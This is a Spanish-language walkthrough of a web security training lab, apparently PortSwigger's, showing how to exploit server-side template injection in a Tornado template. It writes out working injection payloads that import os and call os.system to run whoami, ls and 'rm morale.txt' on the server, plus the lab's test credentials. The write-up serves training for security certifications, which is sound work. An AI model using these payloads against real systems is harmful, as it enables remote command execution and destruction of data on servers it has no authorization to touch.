SSTI Lab 2
Skills
- Basic server-side template injection (code context)
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
es vulnerable
a un Server Side Template Injection
debido a la forma insegura en que utiliza una plantilla
de Tornado
. Para resolver el laboratorio, hay que revisar
la documentación
de Tornado
para descubrir cómo ejecutar comandos
y luego eliminar
el archivo morale.txt
del directorio
personal de Carlos
. Podemos iniciar sesión
en nuestra propia cuenta
utilizando las siguientes credenciales: wiener:peter
Resolución
Al acceder
a la web
nos sale esto
Pulsamos en My account
y nos logueamos
usando las credenciales wiener:peter
Al loguearnos
vemos esto
Si nos metemos en cualquier artículo
veremos que podemos comentar
En la parte de My account
cambiamos el Preferred name
El nombre en el chat
también cambia
Si capturamos
la petición
de cambio de nombre
en Preferred name
vemos que se está enviando
un objeto
Hacemos referencia a una propiedad
del objeto inexistente
1
blog-post-author-display=user.NO_EXISTE&csrf=IXe3uTQJV2yzx6Rqz6N0EbMOf8ZkMUQ6
Si nos dirigimos a la parte de las publicaciones
obtendremos un error
mediante el cual podemos identificar el template
que se está usando
Nos dirigimos a hacktricks https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#tornado-python, probamos los payload
para esta plantilla
y vemos que funciona
1
blog-post-author-display={{7*7}}&csrf=IXe3uTQJV2yzx6Rqz6N0EbMOf8ZkMUQ6
Nos vamos a https://www.tornadoweb.org/en/stable/guide/templates.html y observamos que los objetos se cargan entre {{ }}
Enviamos
este payload
1
blog-post-author-display=}}{% import os %}{{os.system('whoami')&csrf=IXe3uTQJV2yzx6Rqz6N0EbMOf8ZkMUQ6
Obtenemos
este error
Probamos este payload
en el que hacemos referencia al objeto user
1
blog-post-author-display=user.name}}{% import os%}{{os.system('ls')&csrf=IXe3uTQJV2yzx6Rqz6N0EbMOf8ZkMUQ6
Vemos que se ha listado el archivo morale.txt
Borramos
el archivo morale.txt
y resolvemos
el laboratorio
1
blog-post-author-display=user.name}}{% import os%}{{os.system('rm morale.txt')&csrf=IXe3uTQJV2yzx6Rqz6N0EbMOf8ZkMUQ6